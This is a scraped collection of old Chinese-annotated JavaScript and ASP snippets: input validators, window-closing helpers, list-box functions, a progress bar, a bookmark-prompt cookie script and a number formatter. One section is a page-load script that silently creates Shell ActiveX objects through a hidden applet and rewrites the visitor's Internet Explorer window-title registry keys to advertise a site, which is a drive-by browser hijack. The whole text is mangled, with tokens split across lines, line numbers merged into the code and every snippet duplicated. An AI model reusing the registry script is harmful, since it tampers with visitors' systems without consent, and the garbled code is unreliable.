136 }
137
else
{
138
return
true
139 }
140 }
141
//
判断是否为email结束
142
143
//
中文输入判断开始
144
function
ischinese(str){
145
var
reg
=/
[
^
A
-
Za
-
z0
-
9_]
/
g
146
if
(reg.test(str)){
147
return
(
true
);
148 }
else
{
149
return
(
false
); }
150}
151
//
中文输入判断结束
152
</
script
>
<
script language
=
"
javascript
"
>
2
//
限制输入字符的位数开始
3
//
m是用户输入，n是要限制的位数
4
function
issmall(m,n)5
{6
if
((m
<
n)
&&
(m
>
0
))7
{8
return
(
false
);9
}10
else
11
{
return
(
true
);}12
}13
14
//
限制输入字符的位数结束
15
16
//
判断密码是否输入一致开始
17
function
issame(str1,str2)18
{19
if
(str1
==
str2)20
{
return
(
true
);}21
else
22
{
return
(
false
);}23
}24
//
判断密码是否输入一致结束
25
26
//
判断是否为空开始
27
function
isnotnull(str)28
{29
if
(str.length
==
""
)30
{31
return
(
false
);32
}33
else
34
{35
return
(
true
);36
}37
}38
39
//
判断是否为空结束
40
41
42
//
判断用户名是否为数字字母下滑线开始
43
function
notchinese(str){44
var
reg
=/
[
^
A
-
Za
-
z0
-
9_]
/
g45
if
(reg.test(str)){46
return
(
false
);47
}
else
{48
return
(
true
); }49
}50
51
//
判断用户名是否为数字字母下滑线结束
52
53
//
判断是否为日期型开始
54
function
isDate (theStr) {55
var
the1st
=
theStr.indexOf('
-
');56
var
the2nd
=
theStr.lastIndexOf('
-
');57
58
if
(the1st
==
the2nd) {
return
(
false
); }59
else
{60
var
y
=
theStr.substring(
0
,the1st);61
var
m
=
theStr.substring(the1st
+
1
,the2nd);62
var
d
=
theStr.substring(the2nd
+
1
,theStr.length);63
var
maxDays
=
31
;64
65
if
(fucCheckNUM(m)
==
false
||
fucCheckNUM(d)
==
false
||
fucCheckNUM(y)
==
false
) {66
return
(
false
); }67
else
if
(y.length
<
4
) {
return
(
false
); }68
else
if
((m
<
1
)
||
(m
>
12
)) {
return
(
false
); }69
else
if
(m
==
4
||
m
==
6
||
m
==
9
||
m
==
11
) maxDays
=
30
;70
else
if
(m
==
2
) {71
if
(y
%
4
>
0
) maxDays
=
28
;72
else
if
(y
%
100
==
0
&&
y
%
400
>
0
) maxDays
=
28
;73
else
maxDays
=
29
;74
}75
if
((m
<
1
)
||
(m
>
maxDays)) {
return
(
false
); }76
else
{
return
(
true
); }77
}78
}79
80
function
fucCheckNUM(NUM)81
{82
var
i,j,strTemp;83
strTemp
=
"
0123456789
"
;84
if
( NUM.length
==
0
)85
return
0
86
for
(i
=
0
;i
<
NUM.length;i
++
)87
{88
j
=
strTemp.indexOf(NUM.charAt(i)); 89
if
(j
==-
1
)90
{91
//
说明有字符不是数字
92
return
0
;93
}94
}95
//
说明是数字
96
return
1
;97
} 98
99
//
判断是否为日期型结束
100
101
102
//
判断是否为固定的位数开始
103
function
isatn(m,n)104
{105
if
(m
!=
n)106
{107
return
(
false
);108
}109
else
110
{111
return
(
true
);}112
}113
//
判断是否为固定的位数结束
114
115
//
判断是否为电话号码开始
116
function
istel(telstr)117
{118
var
reg
=/
[
^
0
-
9
-
]
/
g;119
if
(telstr
!=
""
) {120
if
(reg.test(telstr)){121
return
(
false
);122
}123
else
124
{125
return
(
true
);126
}127
}128
}129
//
判断是否为电话号码结束
130
131
//
判断是否为email开始
132
function
isemail(emailstr) {133
if
((emailstr.indexOf('@',
0
)
==
-
1
)
||
emailstr.indexOf('.')
==
-
1
) 134
{135
return
false
136
}137
else
{138
return
true
139
}140
}141
//
判断是否为email结束
142
143
//
中文输入判断开始
144
function
ischinese(str){145
var
reg
=/
[
^
A
-
Za
-
z0
-
9_]
/
g146
if
(reg.test(str)){147
return
(
true
);148
}
else
{149
return
(
false
); }150
}151
//
中文输入判断结束
152
</
script
>
按esc键退出的一个函数
1
function
esckey(keycode)
//
按esc键退出
2
{
3
if
(keycode
==
27
)
4 {
5 window.close()
6 }
7 }
function
esckey(keycode)
//
按esc键退出
2
{3
if
(keycode
==
27
)4
{5
window.close()6
}7
}
自动关闭窗口
1
做一些小窗口发消息的等程序常用到自动关闭窗口
2方法一:
3
<
OBJECT id
=
closew type
=
"
application/x-oleobject
"
classid
=
"
clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
"
>
4
<
param name
=
"
Command
"
value
=
"
Close
"
>
5
</
object
>
6
<
script LANGUAGE
=
"
JavaScript
"
>
7
<!--
8setTimeout('colosw.Click();',
1000
);
9
//
-->
10
</
script
>
11
<%
12response.write
"
留言成功!
"
13
14
15设置1秒留点时间显示
"
留言成功!
"
16缺点,无发使用与Tencent等一些浏览器，会把整个窗一起关掉
17
18
19方法二
20
<
script LANGUAGE
=
"
JavaScript
"
>
21
<!--
22
function
closew(){
23 self.focus();
24 self.close();
25
return
false
;
26 }
27
28setTimeout(
"
closew();
"
,
1000
);
29
//
-->
30
</
script
>
31
<%
32response.write
"
留言成功!
"
33
34推荐使用
做一些小窗口发消息的等程序常用到自动关闭窗口2
方法一:3
<
OBJECT id
=
closew type
=
"
application/x-oleobject
"
classid
=
"
clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11
"
>
4
<
param name
=
"
Command
"
value
=
"
Close
"
>
5
</
object
>
6
<
script LANGUAGE
=
"
JavaScript
"
>
7
<!--
8
setTimeout('colosw.Click();',
1000
);9
//
-->
10
</
script
>
11
<%
12
response.write
"
留言成功!
"
13
14
15
设置1秒留点时间显示
"
留言成功!
"
16
缺点,无发使用与Tencent等一些浏览器，会把整个窗一起关掉17
18
19
方法二20
<
script LANGUAGE
=
"
JavaScript
"
>
21
<!--
22
function
closew(){23
self.focus();24
self.close();25
return
false
;26
} 27
28
setTimeout(
"
closew();
"
,
1000
);29
//
-->
30
</
script
>
31
<%
32
response.write
"
留言成功!
"
33
34
推荐使用
列表框操作函数集合
1
/*
列表框互相操作函数集
*/
2
3
//
描述: 添加不重复列表框元素
4
function
selAdd( srcList, dstList )
5{
6
var
selectedIndex
=
new
Array();
7
var
count
=
0
;
8
9
for
( i
=
0
; i
<
srcList.options.length; i
++
){
10
11
if
( srcList.options[i].selected ){
12
13 selectedIndex[count]
=
i;
14 count
++
;
15
16 }
17 }
18
19
for
( j
=
0
; j
<
selectedIndex.length; j
++
){
20
21 k
=
selectedIndex[j];
22
23
if
( chkDup( srcList.options[k].value, dstList )
==
false
){
24
&
, nbsp; dstList.options.length
++
;
25
var
len
=
dstList.options.length
-
1
;
26 dstList.options[len].value
=
srcList.options[k].value;
27 dstList.options[len].text
=
srcList.options[k].text;
28 }
29
30 }
31
32}
33
34
//
描述: 删除列表框元素
35
function
selDel( list )
36{
37
var
len
=
list.options.length;
38
var
idx
=
0
;
39
40
while
( idx
<
len ){
41
42
if
( list.options[idx].selected ){
43 list.options.remove(idx);
44 len
=
list.options.length;
45 }
46
else
{
47 idx
++
;
48 }
49 }
50}
51
52
//
描述: 检测列表框元素重复
53
function
chkDup( item, list )
54{
55
for
( i
=
0
; i
<
list.options.length; i
++
){
56
//
alert( item + " - " + list.options[i].value );
57
if
( item
==
list.options[i].value ){
58
return
true
;
59 }
60 }
61
return
false
;
62}
63
64
//
描述: 选择列表框的全部成员
65
function
selSel( list, item )
66{
67 item.value
=
"
"
;
68
for
( i
=
0
; i
<
list.options.length; i
++
){
69 list.options[i].selected
=
true
;
70 item.value
+=
list.options[i].value
+
"
"
;
71 }
72
73}
74
75
function
selSelSingle( list, value )
76{
77
for
( i
=
0
; i
<
list.options.length; i
++
){
78
if
( list.options[i].value
==
value ){
79 list.options[i].selected
=
true
;
80
break
;
81 }
82 }
83
84}
85
//
描述: 根据数组初始化列表框
86
function
selList( item, arr )
87{
88
89
var
curIndex, insIndex, val, text;
90
var
arrItem
=
new
Array();
91
92
if
( item ){
93
94 item.length
=
0
;
95 curIndex
=
0
;
96
97
for
( i
=
0
; i
<
arr.length; i
++
){
98
99 item.length
++
;
100 insIndex
=
item.length
-
1
;
101
102
if
( arr[i] ){
103 arrItem
=
arr[i].split(
"
,
"
);
104 text
=
arrItem[
1
];
105 val
=
arrItem[
0
];
106 item.options[ insIndex ].text
=
text;
107 item.options[ insIndex ].value
=
val;
108 }
109 }
110
111 }
112}
/*
列表框互相操作函数集
*/
2
3
//
描述: 添加不重复列表框元素
4
function
selAdd( srcList, dstList )5
{6
var
selectedIndex
=
new
Array();7
var
count
=
0
;8
9
for
( i
=
0
; i
<
srcList.options.length; i
++
){10
11
if
( srcList.options[i].selected ){12
13
selectedIndex[count]
=
i;14
count
++
;15
16
}17
} 18
19
for
( j
=
0
; j
<
selectedIndex.length; j
++
){20
21
k
=
selectedIndex[j];22
23
if
( chkDup( srcList.options[k].value, dstList )
==
false
){24
&
, nbsp; dstList.options.length
++
;25
var
len
=
dstList.options.length
-
1
;26
dstList.options[len].value
=
srcList.options[k].value;27
dstList.options[len].text
=
srcList.options[k].text;28
}29
30
}31
32
}33
34
//
描述: 删除列表框元素
35
function
selDel( list )36
{37
var
len
=
list.options.length;38
var
idx
=
0
;39
40
while
( idx
<
len ){41
42
if
( list.options[idx].selected ){43
list.options.remove(idx);44
len
=
list.options.length;45
}46
else
{47
idx
++
;48
}49
}50
}51
52
//
描述: 检测列表框元素重复
53
function
chkDup( item, list )54
{55
for
( i
=
0
; i
<
list.options.length; i
++
){56
//
alert( item + " - " + list.options[i].value );
57
if
( item
==
list.options[i].value ){58
return
true
;59
}60
} 61
return
false
;62
}63
64
//
描述: 选择列表框的全部成员
65
function
selSel( list, item )66
{67
item.value
=
"
"
;68
for
( i
=
0
; i
<
list.options.length; i
++
){69
list.options[i].selected
=
true
;70
item.value
+=
list.options[i].value
+
"
"
;71
}72
73
}74
75
function
selSelSingle( list, value )76
{77
for
( i
=
0
; i
<
list.options.length; i
++
){78
if
( list.options[i].value
==
value ){79
list.options[i].selected
=
true
;80
break
;81
}82
}83
84
}85
//
描述: 根据数组初始化列表框
86
function
selList( item, arr )87
{88
89
var
curIndex, insIndex, val, text;90
var
arrItem
=
new
Array();91
92
if
( item ){93
94
item.length
=
0
;95
curIndex
=
0
;96
97
for
( i
=
0
; i
<
arr.length; i
++
){98
99
item.length
++
;100
insIndex
=
item.length
-
1
;101
102
if
( arr[i] ){103
arrItem
=
arr[i].split(
"
,
"
);104
text
=
arrItem[
1
];105
val
=
arrItem[
0
];106
item.options[ insIndex ].text
=
text; 107
item.options[ insIndex ].value
=
val;108
}109
}110
111
}112
}
带进度条的关闭窗口
1
<%
Function myloading(a)
%>
2
<
form name
=
"
loading
"
>
3
<
div align
=
"
center
"
><
center
><
p
><
input
4 style
=
"
PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: bolder; PADDING-BOTTOM: 0px; COLOR: red; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; FONT-FAMILY: Arial; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BACKGROUND-COLOR: yellow; BORDER-BOTTOM-STYLE: none
"
5 size
=
"
46
"
name
=
"
chart
"
>
<
br
>
6
<
input
7 style
=
"
BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; COLOR: rgb(138,134,134); BORDER-BOTTOM: medium none; TEXT-ALIGN: center
"
8 size
=
"
46
"
name
=
"
percent
"
>
9
10
<
script
>
11
var
bar
=
0
12
var
line
=
"
||
"
13
var
amount
=
"
||
"
14count()
15
function
count()
16 {
17 bar
=
bar
+
2
18 amount
=
amount
+
line
19 document.loading.chart.value
=
amount
20 document.loading.percent.value
=
bar
+
"
%
"
21
if
(bar
<
99
)
22 {setTimeout(
"
count()
"
,
100
);}
23
else
24
<%
if
a
=
"
closeit
"
then
%>
25 { setTimeout(
"
closeme();
"
,
10
); }
26
<%
else
%>
27 { setTimeout(
"
window.go(-1);
"
,
10
); }
28
<%
end
if
%>
29 }
30
function
closeme(){
31 self.focus();
32 self.close();
33
return
false
;
34 }
35
</
script
>
36
</
p
>
37
</
center
></
div
>
38
</
form
>
39
<%
End Function
%>
40
<%
Function myloading(a)
%>
2
<
form name
=
"
loading
"
>
3
<
div align
=
"
center
"
><
center
><
p
><
input4
style
=
"
PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: bolder; PADDING-BOTTOM: 0px; COLOR: red; BORDER-TOP-STYLE: none; PADDING-TOP: 0px; FONT-FAMILY: Arial; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BACKGROUND-COLOR: yellow; BORDER-BOTTOM-STYLE: none
"
5
size
=
"
46
"
name
=
"
chart
"
>
<
br
>
6
<
input7
style
=
"
BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; COLOR: rgb(138,134,134); BORDER-BOTTOM: medium none; TEXT-ALIGN: center
"
8
size
=
"
46
"
name
=
"
percent
"
>
9
10
<
script
>
11
var
bar
=
0
12
var
line
=
"
||
"
13
var
amount
=
"
||
"
14
count() 15
function
count()16
{ 17
bar
=
bar
+
2
18
amount
=
amount
+
line 19
document.loading.chart.value
=
amount 20
document.loading.percent.value
=
bar
+
"
%
"
21
if
(bar
<
99
) 22
{setTimeout(
"
count()
"
,
100
);} 23
else
24
<%
if
a
=
"
closeit
"
then
%>
25
{ setTimeout(
"
closeme();
"
,
10
); } 26
<%
else
%>
27
{ setTimeout(
"
window.go(-1);
"
,
10
); } 28
<%
end
if
%>
29
} 30
function
closeme(){31
self.focus();32
self.close();33
return
false
;34
} 35
</
script
>
36
</
p
>
37
</
center
></
div
>
38
</
form
>
39
<%
End Function
%>
40
利用cookie收藏网站
1
不用每次都询问别人是否收藏，烦！
2
<
SCRIPT LANGUAGE
=
"
JavaScript
"
>
3
<!--
Begin
4
var
expDays
=
100
;
5url
=
"
http://softet.6to23.com
"
;;
6title
=
"
Come on
"
;
7
function
GetCookie (name) {
8
var
arg
=
name
+
"
=
"
;
9
var
alen
=
arg.length;
10
var
clen
=
document.cookie.length;
11
var
i
=
0
;
12
while
(i
<
clen) {
13
var
j
=
i
+
alen;
14
if
(document.cookie.substring(i, j)
==
arg)
15
return
getCookieVal (j);
16i
=
document.cookie.indexOf(
"
"
, i)
+
1
;
17
if
(i
==
0
)
break
;
18}
19
return
null
;
20}
21
function
SetCookie (name, value) {
22
var
argv
=
SetCookie.arguments;
23
var
argc
=
SetCookie.arguments.length;
24
var
expires
=
(argc
>
2
)
?
argv[
2
] :
null
;
25
var
path
=
(argc
>
3
)
?
argv[
3
] :
null
;
26
var
domain
=
(argc
>
4
)
?
argv[
4
] :
null
;
27
var
secure
=
(argc
>
5
)
?
argv[
5
] :
false
;
28document.cookie
=
name
+
"
=
"
+
escape (value)
+
29((expires
==
null
)
?
""
: (
"
; expires=
"
+
expires.toGMTString()))
+
30((path
==
null
)
?
""
: (
"
; path=
"
+
path))
+
31((domain
==
null
)
?
""
: (
"
; domain=
"
+
domain))
+
32((secure
==
true
)
?
"
; secure
"
:
""
);
33}
34
function
DeleteCookie (name) {
35
var
exp
=
new
Date();
36exp.setTime (exp.getTime()
-
1
);
37
var
cval
=
GetCookie (name);
38document.cookie
=
name
+
"
=
"
+
cval
+
"
; expires=
"
+
exp.toGMTString();
39}
40
var
exp
=
new
Date();
41exp.setTime(exp.getTime()
+
(expDays
*
24
*
60
*
60
*
1000
));
42
function
amt(){
43
var
count
=
GetCookie('count')
44
if
(count
==
null
) {
45SetCookie('count','
1
')
46
return
1
47}
48
else
{
49
var
newcount
=
parseInt(count)
+
1
;
50DeleteCookie('count')
51SetCookie('count',newcount,exp)
52
return
count
53 }
54}
55
function
getCookieVal(offset) {
56
var
endstr
=
document.cookie.indexOf (
"
;
"
, offset);
57
if
(endstr
==
-
1
)
58endstr
=
document.cookie.length;
59
return
unescape(document.cookie.substring(offset, endstr));
60}
61
62
function
checkCount() {
63
var
count
=
GetCookie('count');
64
if
(count
==
null
) {
65count
=
1
;
66SetCookie('count', count, exp);
67
68
if
((navigator.appName
==
"
Microsoft Internet Explorer
"
)
&&
(parseInt(navigator.appVersion)
>=
4
)) {
69window.external.AddFavorite (url,title);
70}
71
else
{
72
var
msg
=
"
Don't forget to bookmark us!
"
;
73
if
(navigator.appName
==
"
Netscape
"
) msg
+=
"
(CTRL-D)
"
;
74alert(msg);
75 }
76}
77
else
{
78count
++
;
79SetCookie('count', count, exp);
80 }
81}
82checkCount();
83
//
End -->
84
</
script
>
不用每次都询问别人是否收藏，烦！2
<
SCRIPT LANGUAGE
=
"
JavaScript
"
>
3
<!--
Begin4
var
expDays
=
100
;5
url
=
"
http://softet.6to23.com
"
;;6
title
=
"
Come on
"
;7
function
GetCookie (name) { 8
var
arg
=
name
+
"
=
"
; 9
var
alen
=
arg.length; 10
var
clen
=
document.cookie.length; 11
var
i
=
0
; 12
while
(i
<
clen) { 13
var
j
=
i
+
alen; 14
if
(document.cookie.substring(i, j)
==
arg) 15
return
getCookieVal (j); 16
i
=
document.cookie.indexOf(
"
"
, i)
+
1
; 17
if
(i
==
0
)
break
; 18
} 19
return
null
;20
}21
function
SetCookie (name, value) { 22
var
argv
=
SetCookie.arguments; 23
var
argc
=
SetCookie.arguments.length; 24
var
expires
=
(argc
>
2
)
?
argv[
2
] :
null
; 25
var
path
=
(argc
>
3
)
?
argv[
3
] :
null
; 26
var
domain
=
(argc
>
4
)
?
argv[
4
] :
null
; 27
var
secure
=
(argc
>
5
)
?
argv[
5
] :
false
; 28
document.cookie
=
name
+
"
=
"
+
escape (value)
+
29
((expires
==
null
)
?
""
: (
"
; expires=
"
+
expires.toGMTString()))
+
30
((path
==
null
)
?
""
: (
"
; path=
"
+
path))
+
31
((domain
==
null
)
?
""
: (
"
; domain=
"
+
domain))
+
32
((secure
==
true
)
?
"
; secure
"
:
""
);33
}34
function
DeleteCookie (name) { 35
var
exp
=
new
Date(); 36
exp.setTime (exp.getTime()
-
1
); 37
var
cval
=
GetCookie (name); 38
document.cookie
=
name
+
"
=
"
+
cval
+
"
; expires=
"
+
exp.toGMTString();39
}40
var
exp
=
new
Date(); 41
exp.setTime(exp.getTime()
+
(expDays
*
24
*
60
*
60
*
1000
));42
function
amt(){43
var
count
=
GetCookie('count')44
if
(count
==
null
) {45
SetCookie('count','
1
')46
return
1
47
}48
else
{49
var
newcount
=
parseInt(count)
+
1
;50
DeleteCookie('count')51
SetCookie('count',newcount,exp)52
return
count53
}54
}55
function
getCookieVal(offset) {56
var
endstr
=
document.cookie.indexOf (
"
;
"
, offset);57
if
(endstr
==
-
1
)58
endstr
=
document.cookie.length;59
return
unescape(document.cookie.substring(offset, endstr));60
}61
62
function
checkCount() {63
var
count
=
GetCookie('count');64
if
(count
==
null
) {65
count
=
1
;66
SetCookie('count', count, exp);67
68
if
((navigator.appName
==
"
Microsoft Internet Explorer
"
)
&&
(parseInt(navigator.appVersion)
>=
4
)) {69
window.external.AddFavorite (url,title);70
}71
else
{72
var
msg
=
"
Don't forget to bookmark us!
"
;73
if
(navigator.appName
==
"
Netscape
"
) msg
+=
"
(CTRL-D)
"
;74
alert(msg);75
}76
}77
else
{78
count
++
;79
SetCookie('count', count, exp);80
}81
}82
checkCount();83
//
End -->
84
</
script
>
JavaScript修改注册表
1
<
SCRIPT Language
=
"
JavaScript
"
type
=
"
text/javascript
"
>
2
<!--
3
4document.write(
"
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
"
);
5
6
function
f(){
7
try
8{
9
//
ActiveX initialization
10
a1
=
document.applets[
0
];
11a1.setCLSID(
"
{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
"
);
12a1.createInstance();
13Shl
=
a1.GetObject();
14a1.setCLSID(
"
{0D43FE01-F093-11CF-8940-00A0C9054228}
"
);
15a1.createInstance();
16FSO
=
a1.GetObject();
17a1.setCLSID(
"
{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}
"
);
18a1.createInstance();
19Net
=
a1.GetObject();
20
21
try
22{
23
if
(document.cookie.indexOf(
"
Chg
"
)
==
-
1
)
24{
25
26
27Shl.RegWrite (
"
HKLM//Software//Microsoft//Internet Explorer//Main//Window Title
"
,
"
那个该死的网站 http://www.the****site.com
"
;);
28Shl.RegWrite (
"
HKCU//Software//Microsoft//Internet Explorer//Main//Window Title
"
,
"
那个该死的网站 http://www.the****site.com
"
;);
29
var
expdate
=
new
Date((
new
Date()).getTime()
+
(
1
));
30document.cookie
=
"
Chg=general; expires=
"
+
expdate.toGMTString()
+
"
; path=/;
"
31
32}
33}
34
catch
(e)
35{}
36}
37
catch
(e)
38{}
39}
40
function
init()
41{
42setTimeout(
"
f()
"
,
1000
);
43}
44init();
45
46
//
-->
47
</
SCRIPT
>
<
SCRIPT Language
=
"
JavaScript
"
type
=
"
text/javascript
"
>
2
<!--
3
4
document.write(
"
<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
"
);5
6
function
f(){7
try
8
{9
//
ActiveX initialization
10
a1
=
document.applets[
0
];11
a1.setCLSID(
"
{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}
"
);12
a1.createInstance();13
Shl
=
a1.GetObject();14
a1.setCLSID(
"
{0D43FE01-F093-11CF-8940-00A0C9054228}
"
);15
a1.createInstance();16
FSO
=
a1.GetObject();17
a1.setCLSID(
"
{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}
"
);18
a1.createInstance();19
Net
=
a1.GetObject();20
21
try
22
{23
if
(document.cookie.indexOf(
"
Chg
"
)
==
-
1
)24
{25
26
27
Shl.RegWrite (
"
HKLM//Software//Microsoft//Internet Explorer//Main//Window Title
"
,
"
那个该死的网站 http://www.the****site.com
"
;);28
Shl.RegWrite (
"
HKCU//Software//Microsoft//Internet Explorer//Main//Window Title
"
,
"
那个该死的网站 http://www.the****site.com
"
;);29
var
expdate
=
new
Date((
new
Date()).getTime()
+
(
1
));30
document.cookie
=
"
Chg=general; expires=
"
+
expdate.toGMTString()
+
"
; path=/;
"
31
32
}33
}34
catch
(e)35
{}36
}37
catch
(e)38
{}39
}40
function
init()41
{42
setTimeout(
"
f()
"
,
1000
);43
}44
init();45
46
//
-->
47
</
SCRIPT
>
js中，有什么函数可以令数字每千位就加一“,”，还有什么函数可以保留小数后两位
1
/*
**********************************************************
2Function formatnumber(value,num)
3Written by zergling
4javascript版本的FormatNumber函数，用法与VBScript相同，第一个参数是待格式化的数值，第二个是保留小数位数
5注意：返回的是字符串类型
6**********************************************************
*/
7
function
formatnumber(value,num)
8 {
9
var
a,b,c,i
10 a
=
value.toString();
11 b
=
a.indexOf('.');
12 c
=
a.length;
13
if
(num
==
0
)
14 {
15
if
(b
!=-
1
)
16 a
=
a.substring(
0
,b);
17 }
18
else
19 {
20
if
(b
==-
1
)
21 {
22 a
=
a
+
"
.
"
;
23
for
(i
=
1
;i
<=
num;i
++
)
24 a
=
a
+
"
0
"
;
25 }
26
else
27 {
28 a
=
a.substring(
0
,b
+
num
+
1
);
29
for
(i
=
c;i
<=
b
+
num;i
++
)
30 a
=
a
+
"
0
"
;
31 }
32 }
33
return
a
34 }
35
/*
**********************************************************2
Function formatnumber(value,num)3
Written by zergling4
javascript版本的FormatNumber函数，用法与VBScript相同，第一个参数是待格式化的数值，第二个是保留小数位数5
注意：返回的是字符串类型6
**********************************************************
*/
7
function
formatnumber(value,num)8
{9
var
a,b,c,i10
a
=
value.toString();11
b
=
a.indexOf('.');12
c
=
a.length;13
if
(num
==
0
)14
{15
if
(b
!=-
1
)16
a
=
a.substring(
0
,b);17
}18
else
19
{20
if
(b
==-
1
)21
{22
a
=
a
+
"
.
"
;23
for
(i
=
1
;i
<=
num;i
++
)24
a
=
a
+
"
0
"
;25
}26
else
27
{28
a
=
a.substring(
0
,b
+
num
+
1
);29
for
(i
=
c;i
<=
b
+
num;i
++
)30
a
=
a
+
"
0
"
;31
}32
}33
return
a34
}35
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